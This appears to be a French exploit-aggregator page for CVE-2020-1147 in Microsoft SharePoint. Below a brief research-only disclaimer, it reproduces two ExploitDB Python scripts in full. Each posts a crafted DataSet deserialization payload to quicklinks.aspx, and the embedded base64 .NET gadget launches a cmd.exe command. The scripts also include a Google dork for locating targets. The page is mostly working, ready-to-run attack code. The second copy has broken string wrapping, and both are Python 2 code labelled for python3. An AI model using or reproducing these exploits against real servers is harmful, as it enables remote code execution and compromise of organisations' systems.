Exploit matérialisé
CVE-2020-1147
CRITICAL KEV2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
webapps aspx
Source
Microsoft SharePoint Server 2019 - Remote Code Execution (2)
Par Podalirius
Comment tester cet exploit
Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.
python3 50151.py
Code py
# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution (2)
# Google Dork: inurl:quicklinks.aspx
# Date: 2020-08-14
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
# Pack 2, SharePoint Server 2019
# Tested on: Windows 2016
# CVE : CVE-2020-1147
# Credit goes to Steven Seele and Soroush Dalili
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
#!/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
from urllib import quote, unquote
import logging
class Exploit(object):
# To generate the gadget use:
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='
control_path_quicklinks = '/_layouts/15/quicklinks.aspx'
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'
control_path = control_path_quicklinks
def __init__(self, redirect=False, proxy_address='', username='', domain='', password='', target=''):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = '%s\\%s' % (domain, username)
self.target = target
self.password = password
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
'http': 'http://%s' % proxy_address,
'https': 'http://%s' % proxy_address
} \
if proxy_address is not None \
and proxy_address != '' else {}
self.headers = {}
self.query_params = {
'Mode': "Suggestion"
}
self.form_values = {
'__viewstate': '',
'__SUGGESTIONSCACHE__': ''
}
self.cookies = {}
self.payload = """\
<DataSet>
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
<xs:element name="somedataset" msdata:IsDataSet="true"
msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="Exp_x0020_Table">
<xs:complexType>
<xs:sequence>
<xs:element name="pwn"
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<somedataset>
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
diffgr:hasChanges="inserted">
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xsi:type="xsd:string">{GADGET}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</pwn>
</Exp_x0020_Table>
</somedataset>
</diffgr:diffgram>
</DataSet>""".replace('{GADGET}', self.gadget)
def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)
def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)
def parse_page(self, content):
soup = BeautifulSoup(content, 'lxml')
for key, val in self.form_values.iteritems():
try:
for tag in soup.select('input[name=%s]' % key):
try:
self.form_values[key] = tag['value']
except Exception as error:
stderr.write('error for key %s error %s\n' % (key, str(error)))
except Exception as error:
stderr.write('error for selector %s error %s\n' % (key, str(error)))
return self
def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def clean(self, payload):
payload = payload.replace('\n', '').replace('\r', '')
while ' ' in payload:
payload = payload.replace(' ', ' ')
return payload
def get_form(self):
url = '%s%s' % (self.target, self.control_path)
resp = self.do_get(url=url, params=self.query_params)
self.parse_page(content=resp.content)
return resp
def send_payload(self):
url = '%s%s' % (self.target, self.control_path)
# self.get_form()
self.headers['Content-Type'] = 'application/x-www-form-urlencoded'
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)
self.form_values['__viewstate'] = ''
resp = self.do_post(url=url, params=self.query_params, data=self.form_values)
return resp
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit')
try:
parser.add_argument("-target", action='store', help='Target address: http(s)://target.com ')
parser.add_argument("-username", action='store', default='', help='Username to use: first.last')
parser.add_argument("-domain", action='store', default='', help='User domain to use: domain.local')
parser.add_argument("-password", action='store', default='', help='Password to use: Summer2020')
parser.add_argument("-both", action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False')
parser.add_argument("-debug", action='store', default=False, help='Enable debugging: False')
parser.add_argument("-proxy", action='store', default='', help='Enable proxy: 10.10.10.10:8080')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
exp = Exploit(
proxy_address=options.proxy,
username=options.username,
domain=options.domain,
password=options.password,
target=options.target
)
if options.debug:
exp.debug()
stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % (
options.target, options.username, options.domain, options.password, options.debug, options.proxy
))
result = exp.send_payload()
stdout.write('Response: %d\n' % result.status_code)
if 'MicrosoftSharePointTeamServices' in result.headers:
stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices'])
if options.both and result.status_code != 200:
exp.control_path = exp.control_path_quicklinksdialogform
stdout.write('Trying alternate page\n')
result = exp.send_payload()
stdout.write('Response: %d\n' % result.status_code)
except Exception as error:
stderr.write('error in main %s' % str(error))
ExploitDB
webapps aspx
Source
Microsoft SharePoint Server 2019 - Remote Code Execution
Par West Shepherd
Comment tester cet exploit
Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.
python3 48747.py
Code py
# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution
# Google Dork: inurl:quicklinks.aspx
# Date: 2020-08-14
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
# Pack 2, SharePoint Server 2019
# Tested on: Windows 2016
# CVE : CVE-2020-1147
# Credit goes to Steven Seele and Soroush Dalili
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
#!/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
from urllib import quote, unquote
import logging
class Exploit:
# To generate the gadget use:
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='
control_path_quicklinks = '/_layouts/15/quicklinks.aspx'
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'
control_path = control_path_quicklinks
def __init__(
self,
redirect=False,
proxy_address='',
username='',
domain='',
password='',
target=''
):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = '%s\\%s' % (domain, username)
self.target = target
self.password = password
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
'http': 'http://%s' % proxy_address,
'https': 'http://%s' % proxy_address
} \
if proxy_address is not None \
and proxy_address != '' else {}
self.headers = {}
self.query_params = {
'Mode': "Suggestion"
}
self.form_values = {
'__viewstate': '',
'__SUGGESTIONSCACHE__': ''
}
self.cookies = {}
self.payload = """\
<DataSet>
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
<xs:element name="somedataset" msdata:IsDataSet="true"
msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="Exp_x0020_Table">
<xs:complexType>
<xs:sequence>
<xs:element name="pwn"
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<somedataset>
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
diffgr:hasChanges="inserted">
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xsi:type="xsd:string">{GADGET}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</pwn>
</Exp_x0020_Table>
</somedataset>
</diffgr:diffgram>
</DataSet>""".replace('{GADGET}', self.gadget)
def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)
def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
)
def parse_page(self, content):
soup = BeautifulSoup(content, 'lxml')
for key, val in self.form_values.iteritems():
try:
for tag in soup.select('input[name=%s]' % key):
try:
self.form_values[key] = tag['value']
except Exception as error:
stderr.write('error for key %s error %s\n' %
(key, str(error)))
except Exception as error:
stderr.write('error for selector %s error %s\n' %
(key, str(error)))
return self
def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def clean(self, payload):
payload = payload\
.replace('\n', '')\
.replace('\r', '')
while ' ' in payload:
payload = payload\
.replace(' ', ' ')
return payload
def get_form(self):
url = '%s%s' % (self.target, self.control_path)
resp = self.do_get(url=url, params=self.query_params)
self.parse_page(content=resp.content)
return resp
def send_payload(self):
url = '%s%s' % (self.target, self.control_path)
# self.get_form()
self.headers['Content-Type'] = 'application/x-www-form-urlencoded'
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)
self.form_values['__viewstate'] = ''
resp = self.do_post(url=url, params=self.query_params,
data=self.form_values)
return resp
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True,
description='CVE-2020-1147 SharePoint exploit')
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
parser.add_argument('-both', action='store', default=False,
help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx):
False')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
exp = Exploit(
proxy_address=options.proxy,
username=options.username,
domain=options.domain,
password=options.password,
target=options.target
)
if options.debug:
exp.debug()
stdout.write('target %s username %s domain %s password %s
debug %s proxy %s\n' % (
options.target, options.username, options.domain,
options.password, options.debug, options.proxy
))
result = exp.send_payload()
stdout.write('Response: %d\n' % result.status_code)
if 'MicrosoftSharePointTeamServices' in result.headers:
stdout.write('Version: %s\n' %
result.headers['MicrosoftSharePointTeamServices'])
if options.both and result.status_code != 200:
exp.control_path = exp.control_path_quicklinksdialogform
stdout.write('Trying alternate page\n')
result = exp.send_payload()
stdout.write('Response: %d\n' % result.status_code)
except Exception as error:
stderr.write('error in main %s' % str(error))